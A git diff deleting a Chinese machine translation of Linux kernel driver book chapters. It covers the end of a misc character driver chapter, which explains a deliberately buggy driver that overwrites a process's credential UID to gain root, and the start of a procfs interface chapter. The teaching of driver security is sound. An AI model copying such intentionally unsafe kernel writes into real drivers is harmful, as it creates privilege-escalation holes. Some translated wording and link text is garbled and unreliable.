84.193392] misc bad_miscdrv: dest addr = ffff9f67765c3b44 count=4 -[ 84.193803] misc bad_miscdrv: 4 bytes written, returning... (stats: tx=0, rx=4) -[ 89.002675] bad_miscdrv:close_miscdrv_rdwr(): 000) [sh]:2765 | ...0 /* close_miscdrv_rdwr() */ -[ 89.005992] misc bad_miscdrv: filename: "bad_miscdrv" -$ -``` - -你可以看到它是如何工作的:最初的用户模式缓冲区`ubuf`内核虚拟地址是`0x55648b8f36b0`。在黑客攻击中,我们将其修改为新的目的地址(内核虚拟地址)`0xffff9f67765c3b44`,这是`struct cred`UID 成员的内核虚拟地址(在进程的任务结构中)。不仅如此,我们的驱动程序还将写入的字节数(`count`)修改为`4`(字节),因为我们正在更新一个 32 位的量。 - -请注意:这些黑客只是-黑客。它们肯定会导致您的系统变得不稳定(当在我们的“调试”内核上运行时,KASAN 实际上检测到了空指针取消引用!). - -这些演示证明了一个事实,即作为内核和/或驱动程序作者,您必须时刻警惕编程问题、安全性等。至此,我们完成了这一部分,甚至这一章。 - -# 摘要 - -关于在 Linux 操作系统上编写简单的`misc`类字符设备驱动程序的这一章到此结束;所以,太棒了,你现在知道了在 Linux 上编写设备驱动程序的基础知识! - -这一章首先介绍了设备基础,重要的是,现代 LDM 的非常简单的要点。然后,您学习了如何编写简单的第一个字符设备驱动程序,并注册到内核的`misc` 框架中。在此过程中,您还理解了流程、驱动程序和内核 VFS 之间的联系。在用户和内核地址空间之间复制数据至关重要;我们看到了如何做到这一点。更全面的演示`misc`驱动程序(我们的“秘密”驱动程序)向您展示了如何在用户和内核空间之间执行输入/输出(读取和写入)传输数据。本章的一个关键部分是最后一节,在这一节中,您学习了(至少是开始)安全性和驱动程序;一个“黑客”甚至演示了一次*私人*攻击! - -如前所述,在 Linux 上编写驱动程序这个庞大的主题还有很多内容;的确,整本书都致力于此!务必查看本章的*进一步阅读*部分,查找相关书籍和在线参考资料。 - -在接下来的章节中,您将了解到驱动程序作者的一项关键任务-如何将您的设备驱动程序与用户空间进程有效地连接起来;详细介绍并对比了几种有用的方法。确保你清楚本章的内容,做给定的练习,复习*进一步阅读*资源,然后进入下一个。 - -# 问题 - -1. 加载第一个`miscdrv` 骨架`misc`驱动内核模块,并在上面发布`lseek(2)`;会发生什么?(成功了吗?`lseek`的回报率是多少?)如果没有,好吧,你会怎么解决这个问题? -2. 编写一个`misc`类角色驱动程序,表现为一个简单的转换器程序(假设其路径名为`/dev/convert`)。例如,以华氏单位写入温度,它应该返回(写入内核日志)以摄氏度为单位的温度。因此,执行`echo 98.6 > /dev/convert`应该会导致值`37 C`被写入内核日志。此外,请执行以下操作: - 1. 验证传递给驱动程序的数据是数值。 - 2. 您将如何处理浮点值?(提示:参考 *Linux 内核编程*、*第 5 章*、*写你的第一个内核模块 LKMs–第 2 部分【内核中不允许的*浮点】一节。*)* -3. 编写“任务显示”驱动程序;在这里,我们希望用户空间进程为其编写一个线程(或进程)PID。当您现在从驱动程序的设备节点读取时(假设它的路径名是`/dev/task_display`),您应该会收到关于任务的详细信息(当然是从它的任务结构中提取的)。例如,先做`echo 1 > /dev/task_display`后做`cat /dev/task_display`应该让驱动程序向内核日志发出 PID 1 的任务细节。不要忘记添加有效性检查(检查 PID 是否有效,等等)。 -4. (高级一点:)写一个“合适的”LDM 驱动程序;这里涉及的`misc`驱动程序确实向内核的`misc`框架注册了,但是简单地、隐式地使用了原始字符接口作为总线。LDM 更喜欢驱动程序必须注册内核框架和总线驱动程序。因此,编写一个向内核的`misc`框架和平台总线注册自己的“演示”驱动程序。这将涉及到创建一个假的平台设备。 - ( *注意以下 t* *ips* : - a)务必参考[第 2 章](2.html)、*用户-内核通信路径*,特别是*创建简单平台设备*和*平台设备*部分。 - b)这个驱动的可能解决方案可以在这里找到:`solutions_to_assgn/ch12/misc_plat/`。) - -You will find some of the questions answered in the book's GitHub repo: [https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn). - -# 进一步阅读 - -* Linux 设备驱动程序书籍: - - * *Linux 设备驱动开发*,John Madieu,Packt,2017 年 10 月:[https://www . Amazon . in/Linux-设备-驱动-开发-Madieu/DP/1785280007/ref = Sr _ 1 _ 2?关键词= Linux+设备+驱动&qid = 1555486515&s = books&Sr = 1-2](https://www.amazon.in/Linux-Device-Drivers-Development-Madieu/dp/1785280007/ref=sr_1_2?keywords=linux+device+driver&qid=1555486515&s=books&sr=1-2);出色的报道,以及最近的报道(截至本文撰写之时;它涵盖了 4.13 内核) - * *嵌入式处理器 Linux 驱动开发-第二版:学习用内核 4.9 开发嵌入式 Linux 驱动 LTS* ,Alberto Liberal de los Rios:[https://www . Amazon . in/Linux-驱动-开发-嵌入式-处理器-电子书/dp/B07L512BHG/ref=sr_1_6?crid = 3rlfzqxgamf 4&关键词= Linux+驱动+开发+嵌入式&qid = 1555486342&s = books&sprefix = Linux+驱动+% 2Cstripbooks % 2c 270&Sr = 1-6-catcorr](https://www.amazon.in/Linux-Driver-Development-Embedded-Processors-ebook/dp/B07L512BHG/ref=sr_1_6?crid=3RLFFZQXGAMF4&keywords=linux+driver+development+embedded&qid=1555486342&s=books&sprefix=linux+driver+%2Cstripbooks%2C270&sr=1-6-catcorr);非常好,也是最近的(4.9 内核) - * *必不可少的 Linux 设备驱动*,Sreekrishnan Venkateswaran,Pearson:[https://www . Amazon . in/必不可少-驱动-Prentice-Software-Development/DP/0132396556/ref = TMM _ HRD _ swatch _ 0?_ encoding = UTF8&qid =&Sr =](https://www.amazon.in/Essential-Drivers-Prentice-Software-Development/dp/0132396556/ref=tmm_hrd_swatch_0?_encoding=UTF8&qid=&sr=);简单的优秀,广泛的覆盖 - * *Linux 设备驱动*,Rubini,Hartmann,Corbet,第三版:[https://www . Amazon . in/Linux-设备-驱动-内核-硬件/dp/8173668493/ref=sr_1_1?关键词= Linux+设备+驱动&qid = 1555486515&s = books&Sr = 1-1](https://www.amazon.in/Linux-Device-Drivers-Kernel-Hardware/dp/8173668493/ref=sr_1_1?keywords=linux+device+driver&qid=1555486515&s=books&sr=1-1);古老的——著名的 LDD3 书 - -* 官方内核文档: - * Linux 内核设备模型:[https://www . Kernel . org/doc/html/latest/driver-API/driver-Model/overview . html # the-Linux-内核-设备模型](https://www.kernel.org/doc/html/latest/driver-api/driver-model/overview.html#the-linux-kernel-device-model)。 - * 内核驱动 API 手册;这是在最近的一个 Linux 内核源码树内做`make pdfdocs`生成的 PDF 文档之一。 - - * 弃用的接口、语言特性、属性和约定:[https://www . kernel . org/doc/html/latest/process/弃用. html #弃用-接口-语言-特性-属性-和约定](https://www.kernel.org/doc/html/latest/process/deprecated.html#deprecated-interfaces-language-features-attributes-and-conventions)。 - -* 实用教程: - * *设备驱动程序,第 8 部分:访问 x86 特定的 I/O 映射硬件*,Anil K Pugalia,OpenSourceForU,2011 年 7 月:[https://OpenSourceForU . com/2011/07/访问 x86 特定的 io 映射硬件 in-linux/](https://opensourceforu.com/2011/07/accessing-x86-specific-io-mapped-hardware-in-linux/) - * 用户空间设备驱动程序;查看克里斯·西蒙兹的有趣视频演示:*如何避免编写嵌入式 Linux 的设备驱动程序*:[https://www.youtube.com/watch?v=QIO2pJqMxjE&t = 909s](https://www.youtube.com/watch?v=QIO2pJqMxjE&t=909s)** \ No newline at end of file diff --git a/docs/linux-kernel-prog-pt2/2.md b/docs/linux-kernel-prog-pt2/2.md deleted file mode 100644 index 2ee165a2..00000000 --- a/docs/linux-kernel-prog-pt2/2.md +++ /dev/null @@ -1,1707 +0,0 @@ -# 二、用户内核通信路径 - -考虑一下这个场景:你已经成功地为压力传感器设备开发了一个设备驱动程序(也许是通过使用内核的 I2C API 通过 I2C 协议从芯片获取压力)。所以,在驱动程序的变量中有当前的压力值,这当然意味着它在内核内存空间中。当前的问题是,您现在如何让*用户空间应用检索该值?*好吧,就像我们在上一章学到的,你总是可以在驾驶员的 *fops* 结构中包含一个`.read`方法。当用户空间应用发出`read(2)`系统调用时,控制权将(通过**虚拟文件系统** ( **VFS** )转移到您的驱动程序的*读取方法。*在那里,你执行`copy_to_user()`(或等效),导致用户模式应用接收该值。然而,还有其他的,有时是更好的方法来做到这一点。 - -在本章中,您将了解各种可用的通信接口或路径,作为用户和内核地址空间之间通信或接口的一种方式。这是编写驱动程序代码的一个重要方面,因为如果没有这些知识,你将如何实现一件关键的事情——在内核空间组件(通常,这是一个设备驱动程序,但它可能是任何东西)和用户空间进程或线程之间高效地传输信息?不仅如此,我们将要学习的一些技术也经常用于调试(和/或诊断)目的。在本章中,我们将介绍实现内核和用户(虚拟)地址空间之间的通信的几种技术:通过传统的 proc 文件系统、 *procfs* ,驱动程序通过 sys 文件系统、 *sysfs* 、通过调试文件系统、 *debugfs* 、通过 *netlink sockets* 以及通过`ioctl(2)`系统调用进行通信。 - -本章将涵盖以下主题: - -* 内核驱动程序与用户空间应用通信/接口的方法 -* 通过 proc 文件系统(procfs)接口 -* 通过系统文件系统(sysfs)接口 -* 通过调试文件系统(debugfs)接口 -* 通过网络连接插座接口 -* 通过 ioctl 系统调用接口 -* 比较接口方法-表格 - -我们开始吧! - -# 技术要求 - -我假设您已经浏览了*前言*,相关部分是*为了从本书中获得最大收益,*并且已经适当地准备了一个运行 Ubuntu 18.04 LTS(或更高的稳定版本)的来宾**虚拟机** ( **VM** )并且安装了所有需要的软件包。如果没有,我建议你先做这个。 - -为了从这本书中获得最大的收益,我强烈建议您首先设置工作区环境,包括克隆这本书的 GitHub 存储库([https://GitHub . com/PacktPublishing/Linux-Kernel-Programming-Part-2](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/ch2))获取相关代码,并以动手的方式进行操作。 - -# 内核驱动程序与用户空间应用通信/接口的方法 - -正如我们在介绍中提到的,在这一章中,我们希望学习如何在内核空间组件(通常,这是一个设备驱动程序,但实际上它可以是任何东西)和用户空间进程或线程之间高效地传输信息。首先,让我们简单地列举内核或驱动程序作者可以用来与用户空间 C 应用通信或交互的各种技术。嗯,用户空间组件可以是一个 C 应用、一个 shell 脚本(这两者我们通常都会在本书中展示),甚至是其他应用,比如 C++/Java 应用、Python/Perl 脚本等等。 - -正如我们在配套指南 *Linux 内核编程*中看到的,在*第 4 章【编写您的第一个内核模块–LKMs 第 1 部分】*中的*库和系统调用 API*小节中,用户空间应用和包含设备驱动程序的内核之间的基本接口是系统调用 API*。*现在,在上一章中,您学习了为 Linux 编写字符设备驱动程序的基础知识。其中,您还学习了如何通过让用户模式应用打开设备文件并发出`read(2)`和`write(2)`系统调用来在用户和内核地址空间之间传输数据。这导致 VFS 调用驱动程序的读/写方法,您的驱动程序通过`copy_{from|to}_user()`API 执行数据传输。所以,这里的问题是:如果我们已经讨论过了,那么在这方面还有什么需要了解的呢? - -啊,相当多!现实情况是,用户模式应用和内核之间还有其他几种接口技术。当然,它们都非常依赖于使用系统调用;毕竟,没有其他(同步的、编程的)方法可以从用户空间进入内核!然而,技术不同。本章的目的是向您展示各种可用的通信接口,当然,根据项目的不同,一个可能比其他更适合使用。让我们来看看本章中用于用户和内核地址空间之间接口的各种技术: - -* 通过传统的 procfs 接口 -* 通过 sysfs -* Via debugfs -* 通过网络连接插座 -* 通过`ioctl(2)`系统调用 - -在本章中,我们将通过提供驱动程序代码示例来详细讨论这些接口技术。此外,我们还将简要探讨它们如何有利于*调试的目的。*那么,让我们从使用 procfs 接口开始。 - -# 通过 proc 文件系统(procfs)接口 - -在本节中,我们将介绍什么是 proc 文件系统,以及如何利用它作为用户和内核地址空间之间的接口。proc 文件系统是一个功能强大且易于编程的界面,通常用于状态报告和调试核心内核系统。 - -Note that from version 2.6 Linux onward and for upstream contribution, this interface is *not* to be used by driver authors (it's strictly meant for kernel-internal usage only). Nevertheless, for completeness, we will cover it here. - -## 理解 proc 文件系统 - -Linux 有一个名为 *proc* 的虚拟文件系统;它的默认挂载点是`/proc`。关于 proc 文件系统首先要意识到的是,它的内容是在非易失性磁盘上的*而不是*。它的内容在内存中,因此是不稳定的。在`/proc`下可以看到的文件和目录都是内核代码为 proc 设置的伪文件;内核通过(几乎)总是将文件的*大小*显示为零来暗示这个事实: - -```sh -$ mount | grep -w proc -proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) -$ ls -l /proc/ -total 0 -dr-xr-xr-x 8 root root 0 Jan 27 11:13 1/ -dr-xr-xr-x 8 root root 0 Jan 29 08:22 10/ -dr-xr-xr-x 8 root root 0 Jan 29 08:22 11/ -dr-xr-xr-x 8 root root 0 Jan 29 08:22 11550/ -[...] --r--r--r-- 1 root root 0 Jan 29 08:22 consoles --r--r--r-- 1 root root 0 Jan 29 08:19 cpuinfo --r--r--r-- 1 root root 0 Jan 29 08:22 crypto --r--r--r-- 1 root root 0 Jan 29 08:20 devices --r--r--r-- 1 root root 0 Jan 29 08:22 diskstats -[...] --r--r--r-- 1 root root 0 Jan 29 08:22 vmstat --r--r--r-- 1 root root 0 Jan 29 08:22 zoneinfo -$ -``` - -让我们总结一下关于 Linux 强大的 proc 文件系统的几个关键点。 - -The objects under `/proc` (files, directories, soft links, and so on) are all pseudo objects; they live in RAM! - -### /proc 下的目录 - -`/proc`下名称为整数值的目录代表系统上当前活动的进程。目录的名称是进程的 PID(技术上,它是进程的 TGID。我们在配套指南*第 6 章*、*内核和内存管理内部要素*中介绍了 TGID/PID。 - -此文件夹–`/proc/PID/`–包含有关此过程的信息。因此,例如,对于 *init* 或 *systemd* 进程(总是 PID `1`),您可以在`/proc/1/`文件夹下检查关于该进程的详细信息(其属性、打开的文件、内存布局、子进程等)。 - -举个例子,在这里,我们将获得一个根壳,并执行`ls /proc/1`: - -![](img/b602d4a8-8d7b-4aca-ad53-c4f04ef4240d.png) - -Figure 2.1 – Screenshot of performing ls /proc/1 on an x86_64 guest system - -关于`/proc//...`下的伪文件和文件夹的完整细节可以在`proc(5)`的手册页上找到(通过做`man 5 proc`);一定要试一试,参考一下! - -Note that the precise content under `/proc` varies from both the kernel version and the (CPU) architecture; x86_64 tends to have the richest content. - -### proc 文件系统背后的目的 - -proc 文件系统背后的*目的*是双重的: - -* 第一,对于开发人员、系统管理员和任何真正深入内核的人来说,这是一个简单的界面,这样他们就可以获得关于进程内部、内核甚至硬件的信息。使用这个界面只需要知道基本的 shell 命令,如`cd`、`cat`、`echo`、`ls`、等。 -* 第二,作为*根*用户,有时也是所有者,您可以在`/proc/sys`下写入某些伪文件,从而调整各种内核参数。这个功能叫做**系统** *。*举例来说,可以在`/proc/sys/net/ipv4/`中调优各种 IPv4 组网参数。都记录在这里:[https://www . kernel . org/doc/Documentation/networking/IP-sysctl . txt](https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt)。 - -更改基于 proc 的可调参数的值很容易;例如,让我们更改框中任意给定时间点允许的最大线程数。以*根*的身份运行以下命令: - -```sh -# cat /proc/sys/kernel/threads-max -15741 -# echo 10000 > /proc/sys/kernel/threads-max -# cat /proc/sys/kernel/threads-max -10000 -# -``` - -说完了,我们就完了。但是,应该清楚的是,前面的操作是*不稳定的*-该更改仅适用于本次会话;当然,电源循环或重新启动会导致它恢复到默认值。那么,我们如何让改变永久化*?*简短回答:使用`sysctl(8)`效用;有关更多详细信息,请参考其手册页。 - -你现在准备好写一些 procfs 接口代码了吗?不要太快——下一部分会告诉你为什么这可能不是一个好主意。 - -### 驱动程序作者不得使用 procfs - -尽管我们可以使用 proc 文件系统与用户模式应用进行交互,但这里有一点需要注意!您必须意识到,procfs 就像内核中的许多类似设施一样,是一个**应用二进制接口** ( **ABI** )。内核社区并没有承诺保持稳定和现在的样子,就像内核*API*和它们的内部数据结构一样。事实上,自从 2.6 内核以来,内核们已经非常清楚地表明了这一点——设备驱动程序作者(等等)不应该为了他们自己的目的或他们的接口、调试或其他目的而使用 procfs 。早些时候,对于 2.6 Linux,使用 proc 来实现上述目的是很常见的(根据内核社区,这是滥用的,因为 proc 只用于内核内部使用!). - -因此,如果作为驱动程序作者的我们认为 procfs 是越界的,或者是被弃用的,那么我们使用什么工具来与用户空间进程进行通信呢?驱动程序作者将使用 sysfs 工具*导出*他们的接口。实际上,不仅仅是 sysfs 有几种选择可供您选择,例如 sysfs、debugfs、netlink 套接字和 ioctl 系统调用。我们将在本章后面详细介绍这些内容。 - -不过,坚持住。同样,现实是,关于驱动程序作者不使用 procfs 的“规则”是针对社区的。这意味着,如果您打算将您的驱动程序或内核模块*上游*到主线内核,从而在 GPLv2 许可证下贡献您的代码,*那么*所有的社区规则肯定适用。如果没有,那就真的由你来决定了。当然,遵循内核社区的准则和规则只能是一件好事;我们绝对建议您这样做。在阻止驱动程序等非核心资源使用 proc 方面,不幸的是,proc API/ABI 没有可用的最新内核文档。 - -On the 5.4.0 kernel, there are around 70-odd callers of the `proc_create()` kernel API, several of which being (typically older) drivers and filesystems. - -尽管如此(你已经被警告了!),让我们学习如何通过 procfs 使用户空间进程与内核代码交互。 - -## 使用 procfs 与用户空间交互 - -作为内核模块或设备驱动程序开发人员,我们实际上可以在`/proc`下创建我们自己的条目,利用它作为用户空间的简单界面。我们如何做到这一点?内核提供了在 procfs 下创建目录和文件的 API。我们将在本节中学习如何使用它们。 - -### 基本 procfs APIs - -在这里,我们不打算深究 procfs API 集的血淋淋的细节;相反,我们将覆盖刚刚足够让你能够理解和使用它们。关于更深层次的细节,请参考终极资源:内核代码库。我们将在这里介绍的例程已经导出,因此像您这样的驱动程序作者可以使用它们。此外,正如我们前面提到的,所有的 procfs 文件对象都是真正的伪对象,也就是说它们只存在于内存中。 - -Here, we are assuming you understand how to design and implement a simple LKM; you'll find more details in the companion guide to this book, *Linux Kernel Programming*, in the fourth and fifth chapters. - -让我们从探索一些简单的 procfs APIs 开始,这些 API 允许您执行一些关键任务——分别在 proc 文件系统下创建一个目录,在那里创建(伪)文件,以及删除它们。对于所有这些任务,请确保包含相关的头文件;也就是`#include `: - -1. 在`/proc`下创建一个名为`name`的目录: - -```sh -struct proc_dir_entry *proc_mkdir(const char *name, - struct proc_dir_entry *parent); -``` - -第一个参数是目录的名称,而第二个参数是指向在其中创建目录的父目录的指针。这里通过`NULL`创建根目录下的目录;也就是`/proc`下的*。*保存返回值,因为您通常会在后续的 API 中将其用作参数。 - -The `proc_mkdir_data()` routine allows you to pass along a data item (a `void *`) as well; note that it's exported via `EXPORT_SYMBOL_GPL`. - -2. 创建一个名为`/proc/parent/name`的 procfs(伪)文件: - -```sh -struct proc_dir_entry *proc_create(const char *name, umode_t mode, - struct proc_dir_entry *parent, - const struct file_operations *proc_fops); -``` - -这里的关键参数是`struct file_operations`,我们在上一章已经介绍过了。您需要用要实现的“方法”来填充它(下面将详细介绍)。想想看:这真的是很厉害的东西;使用`fops` 结构,您可以在您的驱动程序(或内核模块)中设置内核的 proc 文件系统层将遵守的“回调”函数:当用户空间进程读取您的 proc 文件时,它(VFS)将调用驱动程序的`.read`方法或回调函数。如果用户空间 app 写了,会调用驱动的`.write`回调! - -3. 删除 procfs 条目: - -```sh -void remove_proc_entry(const char *name, struct proc_dir_entry *parent) -``` - -此 API 移除指定的`/proc/name`条目并释放它(如果未使用);类似地(通常也更方便),使用`remove_proc_subtree()`应用编程接口移除`/proc`内的整个子树(通常是在清理时或发生错误时)。 - -既然我们知道了基础,经验方法要求我们将这些 API 付诸实践!为此,让我们弄清楚在`/proc`下要创建哪些目录/文件。 - -### 我们将创建的四个 procfs 文件 - -为了帮助清楚地说明 procfs 作为接口技术的用法,我们将让内核模块在`/proc`下创建一个目录。在该目录中,它将创建四个 procfs(伪)文件。请注意,默认情况下,所有 procfs 文件的*所有者:组*属性为*根:根*。现在,创建一个名为`/proc/proc_simple_intf`的目录,并在它下面创建四个(伪)文件。`/proc/proc_simple_intf`目录下四个 procfs(伪)文件的名称和属性如下表所示: - -| **proc fs‘文件’的名称** | **R:读取回调的动作,通过用户空间读取**调用 | **W:写回调操作,通过用户空间写**调用 | **Procfs‘文件’权限** | -| `llkdproc_dbg_level` | 检索(到用户空间)全局变量的当前值;也就是 -`debug_level` | 将`debug_level`全局变量更新为用户空间写入的值 | `0644` | -| `llkdproc_show_pgoff` | 检索(到用户空间)内核的`PAGE_OFFSET`值 | –无写回调– | `0444` | -| `llkdproc_show_drvctx` | 检索(到用户空间)驱动程序“上下文”结构中的当前值;也就是`drv_ctx` | –无写回调– | `0440` | -| `llkdproc_config1`(也作`dbg_level`) | 检索(到用户空间)上下文变量的当前值;也就是 -`drvctx->config1` | 将驱动程序上下文成员`drvctx->config1`更新为用户空间写入的值 | `0644` | - -我们将查看在`/proc`下创建`proc_simple_intf`目录的 API 和实际代码,以及前面提到的四个文件。(由于篇幅不够,我们不会实际展示所有代码;只是关于“调试级”获取和设置的代码;这不是问题,代码的其余部分在概念上非常相似)。 - -### 尝试动态调试级 procfs 控件 - -首先,让我们检查一下本章将使用的“驱动程序上下文”数据结构(事实上,我们在上一章中首次使用了它): - -```sh -// ch2/procfs_simple_intf/procfs_simple_intf.c -[ ... ] -/* Borrowed from ch1; the 'driver context' data structure; - * all relevant 'state info' reg the driver and (fictional) 'device' - * is maintained here. - */ -struct drv_ctx { - int tx, rx, err, myword, power; - u32 config1; /* treated as equivalent to 'debug level' of our driver */ - u32 config2; - u64 config3; -#define MAXBYTES 128 - char oursecret[MAXBYTES]; -}; -static struct drv_ctx *gdrvctx; -static int debug_level; /* 'off' (0) by default ... */ -``` - -在这里,我们还可以看到,我们有一个全局整数名为`debug_level`;这将提供对“项目”调试详细程度的动态控制。调试级别被分配了一个范围`[0-2]`,这里我们有以下内容: - -* `0`表示*没有调试消息*(默认)。 -* `1`是*中等调试*的详细程度。 -* `2`暗示*高调试*冗长。 - -整个模式的美妙之处——实际上也是这里的关键之处——在于我们将能够通过我们创建的 procfs 界面从用户空间查询和设置这个`debug_level`变量!这将允许最终用户(出于安全原因,需要*根*访问)在运行时动态改变调试级别(这是许多产品中常见的功能)。 - -在深入研究代码级细节之前,让我们先试一试,这样我们就知道会发生什么: - -1. 在这里,使用我们的`lkm`便利包装脚本,我们必须构建和`insmod(8)`内核模块(本书源代码树中的`ch2/proc_simple_intf`): - -```sh -$ cd /ch2/proc_simple_intf -$ ../../lkm procfs_simple_intf *<-- builds the kernel module* -Version info: -[...] -[24826.234323] procfs_simple_intf:procfs_simple_intf_init():321: proc dir (/proc/procfs_simple_intf) created -[24826.240592] procfs_simple_intf:procfs_simple_intf_init():333: proc file 1 (/proc/procfs_simple_intf/llkdproc_debug_level) created -[24826.245072] procfs_simple_intf:procfs_simple_intf_init():348: proc file 2 (/proc/procfs_simple_intf/llkdproc_show_pgoff) created -[24826.248628] procfs_simple_intf:alloc_init_drvctx():218: allocated and init the driver context structure -[24826.251784] procfs_simple_intf:procfs_simple_intf_init():368: proc file 3 (/proc/procfs_simple_intf/llkdproc_show_drvctx) created -[24826.255145] procfs_simple_intf:procfs_simple_intf_init():378: proc file 4 (/proc/procfs_simple_intf/llkdproc_config1) created -[24826.259203] procfs_simple_intf initialized -$ -``` - -在这里,我们构建并插入了内核模块;`dmesg(1)`显示内核 *printks* ,显示我们创建的 procfs 文件之一是属于动态调试工具的文件(此处用粗体突出显示;由于这些是伪文件,文件大小将显示为`0`字节。 - -2. 现在我们通过查询`debug_level`的当前值来测试一下: - -```sh -$ cat /proc/procfs_simple_intf/llkdproc_debug_level -debug_level:0 -$ -``` - -3. 太好了,就像预期的那样,它是零(默认值)。现在,让我们将调试级别更改为`2`: - -```sh -$ sudo sh -c "echo 2 > /proc/procfs_simple_intf/llkdproc_debug_level" -$ cat /proc/procfs_simple_intf/llkdproc_debug_level -debug_level:2 -$ -``` - -请注意我们是如何发布`echo`作为*根*的。我们可以看到,调试级别确实变了(变成了`2`的值)!试图设置超出范围的值也会被捕获(并且`debug_level`变量的值被重置为其最后一个有效值),如下所示: - -```sh -$ sudo sh -c "echo 5 > /proc/procfs_simple_intf/llkdproc_debug_level" -sh: echo: I/O error -$ dmesg -[...] -[ 6756.415727] procfs_simple_intf: trying to set invalid value for debug_level [allowed range: 0-2]; resetting to previous (2) -``` - -右;果然奏效。然而,问题是,所有这些是如何在代码级别工作的?请继续阅读了解详情! - -### 通过 procfs 动态控制调试级别 - -让我们来回答前面提到的问题–*它是如何用代码完成的?*挺直白的,真的: - -1. 首先,在内核模块的`init`代码中,我们必须创建我们的 procfs 目录,用我们内核模块的名称命名它: - -```sh -static struct proc_dir_entry *gprocdir; -[...] -gprocdir = proc_mkdir(OURMODNAME, NULL); -``` - -2. 同样,在内核模块的`init`代码中,我们必须创建控制项目“调试级别”的`procfs`文件: - -```sh -// ch2/procfs_simple_intf/procfs_simple_intf.c[...] -#define PROC_FILE1 "llkdproc_debug_level" -#define PROC_FILE1_PERMS 0644 -[...] -static int __init procfs_simple_intf_init(void) -{ - int stat = 0; - [...] - /* 1\. Create the PROC_FILE1 proc entry under the parent dir OURMODNAME; - * this will serve as the 'dynamically view/modify debug_level' - * (pseudo) file */ - if (!proc_create(PROC_FILE1, PROC_FILE1_PERMS, gprocdir, - &fops_rdwr_dbg_level)) { - [...] - pr_debug("proc file 1 (/proc/%s/%s) created\n", OURMODNAME, PROC_FILE1); - [...] -``` - -这里,我们使用`proc_create()` API 创建 *procfs* 文件,并将其“链接”到所提供的`file_operations`结构。 - -3. fops 结构(技术上,`struct file_operations`)是这里的关键数据结构。正如我们在[第 1 章](1.html)、*编写一个简单的杂项字符设备驱动程序*中所学的那样,我们在这里将*功能*分配给设备上的各种文件操作,或者,在本例中,procfs 文件。下面是初始化 fop 的代码: - -```sh -static const struct file_operations fops_rdwr_dbg_level = { - .owner = THIS_MODULE, - .open = myproc_open_dbg_level, - .read = seq_read, - .write = myproc_write_debug_level, - .llseek = seq_lseek, - .release = single_release, -}; -``` - -4. fops 的`open`方法指向一个我们必须定义的函数: - -```sh -static int myproc_open_dbg_level(struct inode *inode, struct file *file) -{ - return single_open(file, proc_show_debug_level, NULL); -} -``` - -使用内核的`single_open()`应用编程接口,我们记录了这样一个事实:每当读取这个文件时——最终通过来自用户空间的`read(2)`系统调用来完成 proc 文件系统将“回调”我们的`proc_show_debug_level()`例程(第二个参数为`single_open()`)。 - -We won't bother with the internal implementation of the `single_open()` API here; if you're curious, you can always look it up here: `fs/seq_file.c:single_open()`. - -因此,概括地说,要向 procfs 注册“read”方法,我们需要执行以下操作: - -* 将`fops.open`指针初始化为`foo()`功能。 -* 在`foo()`函数中,调用`single_open()`,提供读取回调函数作为第二个参数。 - -There's some history here; without getting too deep into it, suffice it to say that the older working of procfs had issues. Notably, you couldn't transfer more than a single page of data (with read or write) without manually iterating over the content. The *sequence iterator* functionality that was introduced with 2.6.12 fixed these issues. Nowadays, using `single_open()` and its ilk (the `seq_read`, `seq_lseek`, and `seq_release` built-in kernel functions) is the simpler and correct approach to using procfs. - -5. 那么,当用户空间*将*(通过`write(2)`系统调用)写入 proc 文件时会发生什么呢?简单:在前面的代码中,您可以看到我们已经将`fops_rdwr_dbg_level.write`方法注册为`myproc_write_debug_level()`函数,这意味着每当这个(伪)文件被写入时,这个函数都会被*回调*(在*第 6 步*中解释过,在*读取*回调之后)。 - -我们通过`single_open`注册的*读取*回调函数的代码如下: - -```sh -/* Our proc file 1: displays the current value of debug_level */ -static int proc_show_debug_level(struct seq_file *seq, void *v) -{ - if (mutex_lock_interruptible(&mtx)) - return -ERESTARTSYS; - seq_printf(seq, "debug_level:%d\n", debug_level); - mutex_unlock(&mtx); - return 0; -} -``` - -`seq_printf()`在概念上类似于大家熟悉的`sprintf()` API。它会将提供给它的数据正确打印到`seq_file`对象上。当我们在这里说“打印”时,我们真正的意思是,它有效地将数据缓冲区传递给发出读取系统调用的用户空间进程或线程,该调用首先将我们带到这里,实际上*将数据传输到用户空间。* - -Oh yes, what's with the `mutex_{un}lock*()` APIs? They are for something critical – *locking.* We will provide a detailed discussion on locking in [Chapter 6](6.html), *Kernel Synchronization – Part 1*, and [Chapter 7](7.html), *Kernel Synchronization – Part 2*; for now, just understand that these are required synchronization primitives. - -6. 我们通过`fops_rdwr_dbg_level.write`注册的`write`回拨功能如下: - -```sh -#define DEBUG_LEVEL_MIN 0 -#define DEBUG_LEVEL_MAX 2 -[...] -/* proc file 1 : modify the driver's debug_level global variable as per what user space writes */ -static ssize_t myproc_write_debug_level(struct file *filp, - const char __user *ubuf, size_t count, loff_t *off) -{ - char buf[12]; - int ret = count, prev_dbglevel; - [...] - prev_dbglevel = debug_level; - *// < ... validity checks (not shown here) ... >* - /* Get the user mode buffer content into the kernel (into 'buf') */ - if (copy_from_user(buf, ubuf, count)) { - ret = -EFAULT; - goto out; - } - [...] - ret = kstrtoint(buf, 0, &debug_level); /* update it! */ - if (ret) - goto out; - if (debug_level < DEBUG_LEVEL_MIN || debug_level > DEBUG_LEVEL_MAX) { - [...] - debug_level = prev_dbglevel; - ret = -EFAULT; goto out; - } - /* just for fun, let's say that our drv ctx 'config1' - represents the debug level */ - gdrvctx->config1 = debug_level; - ret = count; -out: - mutex_unlock(&mtx); - return ret; -} -``` - -在我们的 write 方法的实现中(注意它在结构上与字符设备驱动程序的 write 方法有多相似),我们执行了一些有效性检查,然后通过通常的`copy_from_user()`函数复制了用户空间进程写给我们的数据(回想一下我们是如何使用`echo`命令写入 procfs 文件的)。然后,我们使用内核内置的`kstrtoint()`应用编程接口(类似的还有几个)将字符串缓冲区转换为整数,并将结果存储在我们的全局变量中;也就是`debug_level`!我们再次验证它,如果一切正常,我们还将驱动程序上下文的`config1`成员设置为相同的值,然后返回一条成功消息(仅作为示例)。 - -7. 内核模块的其余代码非常相似——我们为其余三个 procfs 文件设置了功能。我让你来详细浏览代码并尝试一下。 -8. 